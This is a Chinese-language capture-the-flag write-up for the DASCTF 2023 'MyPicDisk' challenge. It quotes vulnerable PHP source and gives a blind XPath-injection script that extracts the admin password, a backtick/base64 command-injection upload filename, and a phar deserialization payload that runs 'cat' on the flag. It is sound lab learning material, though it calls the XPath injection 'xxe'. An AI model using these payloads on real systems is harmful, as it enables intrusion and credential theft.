2025-08-24-每日一题
[DASCTF 2023 & 0X401七月暑期挑战赛]MyPicDisk
练***e盲注
打开题目要求登录
首先想的是万能密码注入admin' or 1=1#
可以登陆,但似乎不是admin
抓包再看看
可下载zip,有index.php
点击查看代码
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
FILE类在析构函数__destruct()中使用system("ls -all ".$this->filename)执行系统命令,由于$this->filename来自用户输入且构造函数中的检查不充分,存在命令注入漏洞。构造函数检查文件名不能包含斜杠、必须恰好有一个点,且文件必须存在,但允许文件名中包含空格、分号等特殊字符,因此可以通过构造文件名实现命令注入。
而这里
点击查看代码
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
其中重要代码$x_query="/accounts/user[username='{$username}' and password='{$password}']";构建一个XPath查询语句,用于在XML文件中查
这里就有个新知识,xxe盲注
上payload
点击查看代码
import requests
import time
url ='http://4c3ee25c-b961-4c95-be55-cfea4e297b73.node5.buuoj.cn:81/index.php'
strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称 #accounts
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
# payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测子节点名称 #user
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
# payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)、
# payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
if "登录成功" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
得到密码15035371139
直接登录admin/15035371139
是一个文件上传页面
我们从代码中得知
点击查看代码
public function __destruct(){
system("ls -all ".$this->filename);
}
我们可以字符串拼接执行命令
bp抓包,改上传文件名为
点击查看代码
;`echo Y2F0IC9hZGphcyo= | base64 -d`;1.jpg
之后在访问?file=上传文件名
拿到flag
当然还有一种做法
利用phar反序列化
代码中这段存在反序列化漏洞
点击查看代码
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
我们可以创建phar文件修改后缀,然后再file读取(todo参数值为md5)
payload
点击查看代码
<?php
class FILE{
public $filename=';cat /adj*';
public $lasttime;
public $size;
}
$a=new FILE();
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
生成1.phar后上传在抓包
要改成后缀是jpg的格式
最后访问?file=phar://phar.jpg&&todo=md5
拿到flag